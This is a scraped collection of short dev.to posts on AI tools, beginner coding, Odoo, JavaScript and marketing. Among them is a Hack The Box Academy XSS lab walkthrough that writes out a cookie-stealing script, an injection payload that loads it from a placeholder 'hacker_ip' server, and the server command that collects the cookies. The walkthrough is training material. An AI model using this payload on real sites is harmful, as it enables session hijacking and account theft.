teleren/devto huggingface dataset:
What is Jamba from AI21?
Tags: ai, llm
Published: 2024-04-04 12:04:02

Jamba! This LLM by AI21 Labs has made a lot of noise over the past few days and continues to remain the leader among [Top-trending models](https://www.linkedin.com/pulse/top-trending-llms-over-last-week-3-extractum-io-5pf7f/?trackingId=h8cXaYCZtd50tS%2FmYC8lQg%3D%3D) on LLM Explorer. We've written a brief [post](https://llm.extractum.io/static/blog/?id=jamba-llm-by-ai21) about the model and tried to gather existing reviews from specialists who have already tested the model. By the way, don't forget, you can always leave a review about the model on our website - in the model's profile.
Free AI Tools - PromptAI Tools
Tags: webdev, ai, tooling
Published: 2024-04-04 11:41:54

"No catch, just creativity! Try our free AI tools online -**[Email Assistant](https://promptaitools.com/tools/email-assistant/)**, Case Converter, Interview Assistant, Unit Converter, Paraphrase Writing, Content Generator, Title Generator, BMI Calculator and IP Locator at PromptAI Tools. Your easy path to innovation without the cost."
At Prompt AI Tools, we redefine possibilities! Seamlessly integrate Free AI tools and AI Assistants into your projects, igniting a spark of innovation without the price tag. Try our free AI tools online -Email Assistant, Case Converter, Interview Assistant, Unit Converter, Paraphrase Writing, Content Generator, Title Generator, BMI Calculator and IP Locator at PromptAI Tools. Revolutionize your workflow and embrace the future of technology, all while staying within budget. Welcome to a world where artificial intelligence meets accessibility, ushering in a new era of intelligent Tools. Join us at Prompt AI Tools and experience the synergy of **[Free AI tools and AI Assistants](https://promptaitools.com/)** for unparalleled success.
3: Maybe syntax isn't so scary
Tags: codenewbie, beginners, html, css
Published: 2024-04-04 11:39:07

Re-starting at a more beginner-friendly level gave me a taste for the wizardry of coding. The Code Foundations course had only whet my appetite and I was hungry for more. The Learn HTML and Learn CSS courses were next on the menu and I gobbled them up as quickly as I could. Although it may seem ridiculous to some, learning to understand and wield even these most basic and fundamental coding tools gave me a warm glow of satisfaction. Suddenly 'syntax' wasn't quite so scary. These were just a novel set of tools for creative problem-solving.
استخدم تويتر كوسيلة فعّالة للتواصل مع العملاء والجمهور المحتمل بخدماتنا المتميزة.
Published: 2024-04-04 11:29:41

بالتأكيد، يمكن استخدام تويتر كوسيلة فعّالة للتواصل مع العملاء والجمهور المحتمل باستخدام خدماتكم المتميزة. إليك بعض الطرق التي يمكنكم من خلالها الاستفادة من تويتر لتحسين تواصلكم مع الجمهور:

[خدمات يوتيوب](https://hkim5.com/%D8%AE%D8%AF%D9%85%D8%A7%D8%AA-%D9%8A%D9%88%D8%AA%D9%8A%D9%88%D8%A8/c1893944341)

تقديم خدمة العملاء الفعّالة:

استخدم حسابك على تويتر لتلبية استفسارات العملاء والرد على استفساراتهم بشكل فوري.
كون العملاء يفضلون قنوات التواصل الاجتماعي للتواصل السريع والمباشر، يمكن استخدام تويتر لتقديم خدمة عملاء فعّالة وسريعة الاستجابة.
نشر المعلومات والتحديثات:

استخدم تويتر لنشر أحدث التحديثات حول منتجاتك وخدماتك، والأخبار والفعاليات المرتبطة بعملك.
قم بمشاركة المعلومات القيمة والمفيدة للجمهور المحتمل لجذب انتباههم وبناء علاقات طويلة الأمد.
الاستفادة من الاستطلاعات والاستبيانات:

استخدم تويتر لإجراء استطلاعات واستبيانات لفهم احتياجات وتفضيلات الجمهور المحتمل، وتحسين منتجاتك وخدماتك بناءً على تغذية ردود الفعل.

المزيد : [زيادة مشتركين يوتيوب](https://hkim5.com/%D8%B2%D9%8A%D8%A7%D8%AF%D8%A9-%D9%85%D8%B4%D8%AA%D8%B1%D9%83%D9%8A%D9%86-%D9%8A%D9%88%D8%AA%D9%8A%D9%88%D8%A8/p532677229)

التفاعل مع المحتوى المتميز:

كن نشطًا على تويتر من خلال التفاعل مع المحتوى المتميز لعملائك والجمهور المحتمل، مثل إعادة التغريد والإعجابات والتعليقات.
تنظيم الفعاليات والمسابقات:

استخدم تويتر للترويج لفعالياتك القادمة وتنظيم مسابقات وتحديات للمشاركة مع الجمهور.
تعتبر هذه الفعاليات والمسابقات فرصة لزيادة التفاعل مع العملاء وبناء الولاء للعلامة التجارية.
توفير المحتوى التعليمي والإرشادي:

نشر المحتوى التعليمي والإرشادي المفيد للجمهور المحتمل لبناء سمعة العلامة التجارية كمصدر موثوق للمعرفة في مجال عملك.

تابعنا : [زيادة لايكات يوتيوب](https://hkim5.com/%D8%B2%D9%8A%D8%A7%D8%AF%D8%A9-%D9%84%D8%A7%D9%8A%D9%83%D8%A7%D8%AA-%D9%8A%D9%88%D8%AA%D9%8A%D9%88%D8%A8/p117416057)

قياس الأداء وتحليل البيانات:

استخدم أدوات تحليل تويتر لقياس أداء حسابك وتفاعل الجمهور مع محتواك، واستنتاج الدروس وتحسين استراتيجيتك بناءً على البيانات.
مع توفير خدماتكم المميزة والاستفادة من إمكانيات تويتر للتواصل مع الجمهور، يمكنكم بناء علاقات قوية ومثمرة مع العملاء والجمهور المحتمل وتعزيز وجودكم الرقمي بشكل فعّال.
Odoo 17 : writing python conditions in XML
Tags: odoo
Published: 2024-04-04 11:26:21

In Odoo 17, it's possible to write Python conditions directly in the XML view. For instance, if we have a field named 'can_edit_shop_orders' in our model and we need to dynamically show/hide another field based on its value, here's how we can achieve that. Let's assume 'can_edit_shop_orders' is a boolean field, and we want to control the visibility of another field named 'shop_orders' based on its value.

```
<field name="shop_orders" string="Shop Orders" readonly="not can_edit_shop_orders"/>
<field name="can_edit_shop_orders"  invisible= "1"/>
```

As demonstrated, Python conditions can be embedded within the XML structure. It's crucial to note that the boolean field must be included in the view itself, even if it's hidden, to avoid errors thrown by Odoo.
2: What are these semi-colons for?!
Tags: cs50, codecademy, codenewbie, beginners
Published: 2024-04-04 11:18:26

I enrolled in CS50 and loved it, but my mind soon began to boggle. The bewildering syntax of C sent me scampering off to Codecademy for something a little easier to digest. I reached for the lowest hanging fruit I could find: the Code Foundations course, which sounded like a much better fit for my complete lack of experience and knowledge in anything even slightly related to coding.
1: How about learning to code?
Tags: codenewbie, learning, programming, beginners
Published: 2024-04-04 11:10:50

I took those first tentative steps into the wilderness of coding almost a year and half ago. My little business had been gamely limping along through the pandemic but when my wife and I decided to leave London for the Wiltshire countryside, I decided to fold it and start something new. How about learning to code?
Intern Programs in 2024
Tags: internship, career
Published: 2024-04-04 11:09:00

---
title: Intern Programs in 2024
published: true
description: Let's collect intern programs in 2024 here
tags: internship, career
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/f3r06efxmuegp02b43a9.jpg
# Use a ratio of 100:42 for best results.
published_at: 2024-04-04 11:09 +0000
---

With summer coming, many new developers are looking for internships to start their tech career. We can create a detailed list of top internship programs to help them. These programs are great for beginners, providing tools and experiences to start their careers. The list will be available here for anyone interested. Let's support the new generation of developers! 🚀

You can add any intern programs you know of in the comments. 🥰

_cover image: Photo by <a href="https://unsplash.com/@paramir?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash">Ehud Neuhaus</a> on <a href="https://unsplash.com/photos/green-grass-field-near-gray-concrete-road-TmJl4_5cSGs?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash">Unsplash</a>_
Calling out all the No-Code Enthusiasts!
Tags: productivity, nocode, news, learning
Published: 2024-04-04 11:04:13

## Greetings, fellow no-code enthusiasts!

**Exciting news alert:** [Quixy](https://quixy.com/) is thrilled to announce our participation in [Citizen Development Week](https://citizendevelopmentweek.com/) 2024! As proud partners, we're gearing up for an incredible event filled with innovation and collaboration, and we can't wait to see all of you there!

**But wait, there's more!** 
This year, **[CDW24](https://citizendevelopmentweek.com/)** is embarking on a mission to delve deeper into the world of Citizen Developers within business organizations. 

Through a groundbreaking survey, CDW aims to unearth valuable insights that could potentially revolutionize the entire CD landscape.

So, why hesitate? Let's join forces and share our genuine inputs to make this survey a resounding success.

---

## **Click the link below to participate:**

## **https://cds.citizendevelopmentweek.com/**

See you at CDW24—let's make waves in the world of no-code innovation!
Odoo : permission to display the records based on group
Tags: odoo
Published: 2024-04-04 11:02:06

Hi, 

in odoo if you need to display records based on permission groups, you can try below snippet. For example

_ Add filter conditions to list the BoMs records based on the conditions where field is_bulk_bom set True or False_

   

```
 <record id="group_mrp_bulk_bom" model="res.groups">
            <field name="name">Bulk BoM</field>
            <field name="category_id" ref="base.module_category_manufacturing_manufacturing"/>
        </record>

        <!-- this record rule will show only records with is_bulk_bom is false to user without bulk bom permission -->
        <record id="bulk_bom_records_own" model="ir.rule">
            <field name="name">BOM : is bulk bom False</field>
            <field name="model_id" ref="mrp.model_mrp_bom"/>
            <field name="domain_force">[('is_bulk_bom', '=', False)]</field>
            <field name="groups" eval="[(4, ref('base.group_user'))]"/>
            <field name="perm_read" eval="1"/>
            <field name="perm_write" eval="1"/>
            <field name="perm_create" eval="1"/>
            <field name="perm_unlink" eval="1"/>

        </record>

        <!-- this record rule will show only records with is_bulk_bom is true to user with bulk bom permission -->
        <record id="bulk_bom_records_is_bulk" model="ir.rule">
            <field name="name">BOM : is bulk bom True</field>
            <field name="model_id" ref="mrp.model_mrp_bom"/>
            <field name="domain_force">[('is_bulk_bom', '=', True)]</field>
            <field name="groups" eval="[(4, ref('linco_care.group_mrp_bulk_bom'))]"/>
            <field name="perm_read" eval="1"/>
            <field name="perm_write" eval="1"/>
            <field name="perm_create" eval="1"/>
            <field name="perm_unlink" eval="1"/>
        </record>
```
Discord Mockup Help Center
Tags: codepen
Published: 2024-04-04 10:59:03

I recreate discord help center page at https://support.discord.com/hc/en-us
i realy like discord and i want show on the world is not hard to build what you like or copy... 

{% codepen https://codepen.io/FreddyVorobyov5445/pen/KKYZOxr %}
Calling out all the No-Code Enthusiasts!
Tags: nocode, citizendevelopers, news, learning
Published: 2024-04-04 10:56:21

## Greetings, fellow no-code enthusiasts!

**Exciting news alert:** [Quixy](https://quixy.com/) is thrilled to announce our participation in [Citizen Development Week](https://citizendevelopmentweek.com/) 2024! As proud partners, we're gearing up for an incredible event filled with innovation and collaboration, and we can't wait to see all of you there!

**But wait, there's more!** 
This year, **[CDW24](https://citizendevelopmentweek.com/)** is embarking on a mission to delve deeper into the world of Citizen Developers within business organizations. 

Through a groundbreaking survey, CDW aims to unearth valuable insights that could potentially revolutionize the entire CD landscape.

So, why hesitate? Let's join forces and share our genuine inputs to make this survey a resounding success.

---

## **Click the link below to participate:**

## **https://cds.citizendevelopmentweek.com/**

See you at CDW24—let's make waves in the world of no-code innovation!
Efficient Data Fetching with Axios and Error Handling in React Components
Published: 2024-04-04 10:56:13


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6r3dsmc6cpbevwn0354m.png)

1. We import Axios and useState from React.
2. We define a functional component MyComponent which initializes state variables data, error, and loading using useState.
3. We use the useEffect hook to perform the data fetching operation when the component mounts. Inside useEffect, we define an asynchronous function fetchData which uses Axios to fetch data from an API endpoint.
4. We handle success by setting the fetched data to the data state variable.
5. We handle errors by setting the error to the error state variable.
6. We set the loading state variable to false once the data fetching operation completes.
7. In the JSX, we conditionally render loading, error, and data based on their respective states.
8. Finally, we export FetchData as the default export.
Mastering String Concatenation in JavaScript: Cool Techniques on!
Tags: ui, uidesign, javascript, javascriptlibraries
Published: 2024-04-04 10:54:13


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zf3mfdjtdy2nhic4hyl1.png)


**Introduction:**
In the realm of JavaScript programming, mastering string manipulation is akin to wielding a powerful tool. As developers, we often encounter scenarios where we need to concatenate strings for various purposes, whether it's generating dynamic content, building URLs, or formatting data. In this comprehensive guide, we'll explore fundamental techniques and advanced methods for string concatenation in JavaScript, equipping you with the knowledge to write cleaner, more efficient code.

1. The Power of the + Operator:
The humble + operator serves as the workhorse for string concatenation in JavaScript. It allows us to effortlessly combine multiple strings into a single cohesive unit. Let's illustrate its simplicity with an example:

```
let str1 = "Hello";
let str2 = "world!";
let result = str1 + " " + str2;
console.log(result); // Output: Hello world!
```
Despite its simplicity, the + operator remains a versatile tool in the developer's arsenal, capable of handling concatenation tasks with ease.

2. Leveraging the concat() Method:
While the + operator gets the job done, JavaScript provides an alternative method for string concatenation - concat(). This method allows us to concatenate strings while maintaining the immutability of the original strings. Consider the following example:

```
let str1 = "Hello";
let str2 = "world!";
let result = str1.concat(" ", str2);
console.log(result); // Output: Hello world!
```

By leveraging concat(), we ensure that the original strings remain unchanged, making it a preferred choice in scenarios where immutability is desired.

3. Unleashing the Power of Template Literals:
In modern JavaScript, template literals provide a powerful mechanism for string interpolation and concatenation. By encapsulating expressions within ${}, we can seamlessly embed variables and expressions within strings. Let's harness the power of template literals in a practical example:


```
let str1 = "Hello";
let str2 = "world!";
let result = `${str1} ${str2}`;
console.log(result); // Output: Hello world!
```

With template literals, we not only achieve string concatenation but also enhance code readability and maintainability.

**Conclusion:**
Mastering string concatenation in JavaScript is essential for every developer striving to write clean, efficient code. By understanding the diverse techniques available, from the traditional + operator to the modern elegance of template literals, you empower yourself to tackle string manipulation tasks with confidence and finesse. So, the next time you encounter a concatenation challenge, remember these techniques and unleash the full potential of JavaScript strings. Happy coding! 🚀

Explore the full tutorial on CoreUI's blog: Mastering String Concatenation in JavaScript

#JavaScript #WebDevelopment #Programming #CodingTips #SoftwareDevelopment
HTB Academy | CROSS_SITE SCRIPTING (XSS) - Skills Assessment Walkthrough
Tags: htb, bugbounty, xss, pentesting
Published: 2024-04-04 10:50:16

---
title: HTB Academy | CROSS_SITE SCRIPTING (XSS) - Skills Assessment Walkthrough
published: true
description: Skills Assessment| Walkthrough
tags: HTB, Bugbounty, XSS, Pentesting
# cover_image: https://direct_url_to_image.jpg
# Use a ratio of 100:42 for best results.
# published_at: 2024-04-04 10:28 +0000
---
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qighc6eowhao9ai0kbuv.jpg)

We are performing a Web Application Penetration Testing task for a company that hired you, which just released their new `Security Blog`.
 In our Web Application Penetration Testing plan, we reached the part 
where you must test the web application against Cross-Site Scripting 
vulnerabilities (XSS).

Start the server below, make sure you are connected to the VPN, and access the `/assessment` directory on the server using the browser:

**Questions:**

1. Identify a user-input field that is vulnerable to an XSS vulnerability
2. Find a working XSS payload that executes JavaScript code on the target's browser
3. Using the `Session Hijacking` techniques, try to steal the victim's cookies, which should contain the flag

**Answers:**

First, let's create a server on our machine and prepare a payload for testing input fields on the target site.
>mkdir /tmp/tmpserver

>cd /tmp/tmpserver

>nano myscript.js > new Image().src='http://hacker_ip:3333/index.php?c='+document.cookie;

>nano index.php

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sx3k253gfarbnj3cr59r.png)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/q475l3924blzl8cxz71u.png)
Let's start your server

>sudo php -S 0.0.0.0:3333

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/djnogk9m83rdhgktyh4x.png)

Now let's test the input fields on the target site:

`"><script src=http://hacker_ip:3333/myscript.js></script>`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/57o8vww4qu56xfa5yk68.png)

Great, it works!
Let's check our cookie file.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8wsxely3fsu1c0eekj7u.png)
Happy Hacking!
[My HTB Academy unique referral link >](https://referral.hackthebox.com/mzyGKZb)
How spotify Revolutionized Music Search with semantic technology
Tags: ai, machinelearning, semantic
Published: 2024-04-04 10:47:26

Thrilled to share a captivating Medium blog post that dives deep into the revolutionary journey of Spotify. This post explores how Spotify transformed its search function from matching keywords to semantic search, significantly enhancing user experience and music discovery.

🔍 **Keyword vs. Semantic Search**: The blog post first explains the fundamental differences between keyword and semantic search. It highlights how semantic search focuses on understanding context,intent, and meaning, enabling more accurate and relevant results.


🔋 **Evolution of Spotify's Search Function**: Discover the milestones in Spotify's search function evolution, from its initial keyword-based system to its current state-of-the-art semantic search technology.

🌟 **Power of Semantic Search in Spotify**: Learn how semantic search technology in Spotify offers tailored recommendations, making it easier for users to discover new music based on their preferences and listening habits.

💥 **Real-world Impact**: Explore the significant impact of Spotify's semantic search on the music streaming industry, setting a new standard for music discovery and forcing competitors to follow suit.

✍️ **Conclusion**: Wrapping up the post, the author emphasizes Spotify's commitment to innovation and its role in transforming the music streaming experience for millions of users worldwide.

Without further ado, I invite you to read this thought-provoking Medium blog post and join the conversation on how semantic search has revolutionized Spotify's music discovery.

[Complete Blog Post now on Medium](https://medium.com/@ksknew76/how-spotify-revolutionized-music-search-with-semantic-technology-71c380452053)
Do you know how a Social Media App is Created?
Tags: socialmedia, appdevelopment, socialmediaapp, appcreati
Published: 2024-04-04 10:35:43

Social media has completely transformed how people interact with one another. It has become an integral part of our lives, but have you ever wondered how a social media app is created? What are the dynamics considered?

Look no further because I have found the ultimate guide to creating a social media app published by Appventurez. By reading this article, you will get a strong grasp of how a social media app is created and the various aspects that need to be considered in the process. So, if you want to curb your curiosity or have a ground-breaking idea for a social media app, it's time to turn your dream into a reality. Click [here](https://www.appventurez.com/blog/how-to-create-a-social-media-app) to read the full article!
6-Month Rule: Unmasking the Lux Academy 6-Month #MonkMode Rule.
Published: 2024-04-04 10:25:55


The 6-months rule is a slogan or tagline we use at [Lux](https://twitter.com/LuxDevHQ) to maintain consistency among hackathon participants and community members.

As stated in the tweet below, we believe that **"6 months of focus and hard work can put you 5 years ahead in life."**

![6-Month Rule Tweet Screenshot From @HarunMbaabu](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d9uzcgvukjn4xzzrzib7.png)

#### **How it works.** 

We encourage **participants** to dedicate at least 2 hours every day to learn a new skill or perfect their craft for at least 6 months. Additionally, we encourage them to set **realistic** and **achievable** goals to accomplish by the end.

![6 Months Rule❗ Screenshot](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z3a7sg9bptx2xjk94r8g.png)


#### **How to Join.**

To join other peers in this journey of bettering themselves, Join the [Lux Slack Workspace](https://join.slack.com/t/luxdevcommunity/shared_invite/zt-2gceqad9t-A~o1jr~ILxU0Iy2kQFZOQw), and check the **#6monthsrulestories** channel in the workspace.  

[Invite the the slack channel](https://join.slack.com/t/luxdevcommunity/shared_invite/zt-2gceqad9t-A~o1jr~ILxU0Iy2kQFZOQw) : https://join.slack.com/t/luxdevcommunity/shared_invite/zt-2gceqad9t-A~o1jr~ILxU0Iy2kQFZOQw 

When you start is entirely up to you, but there are support groups where you can connect with peers who are also working towards a goal for a period of 6 months.

- When you begin, please keep your peers informed about your progress. This will help you find accountability partners who will support you in staying committed to your craft for the specific time you intend to dedicate to honing it.

Check out [Lux Academy](https://twitter.com/lux_academy) and [Data Science East Africa](https://twitter.com/DSEAfrica) to stay up to date with when our next free bootcamp starts.
Hammersmith Mosque London
Tags: seo, london, beginners, web3
Published: 2024-04-04 10:17:56

Support the heartbeat of our community by contributing to Hammersmith Mosque in London. As a beacon of unity and spiritual nourishment, the mosque serves as a sanctuary for countless individuals seeking solace, guidance, and connection. Your donation ensures the continuity of essential services, educational programs, and outreach initiatives that uplift and empower all members of society. Together, let us uphold the values of compassion, solidarity, and inclusivity, building a brighter future for generations to come. Every contribution, no matter the size, makes a profound difference in sustaining this vital institution and fostering a more harmonious and understanding world. Join us in our journey of faith, service, and mutual respect.
hammersmithmasjid.org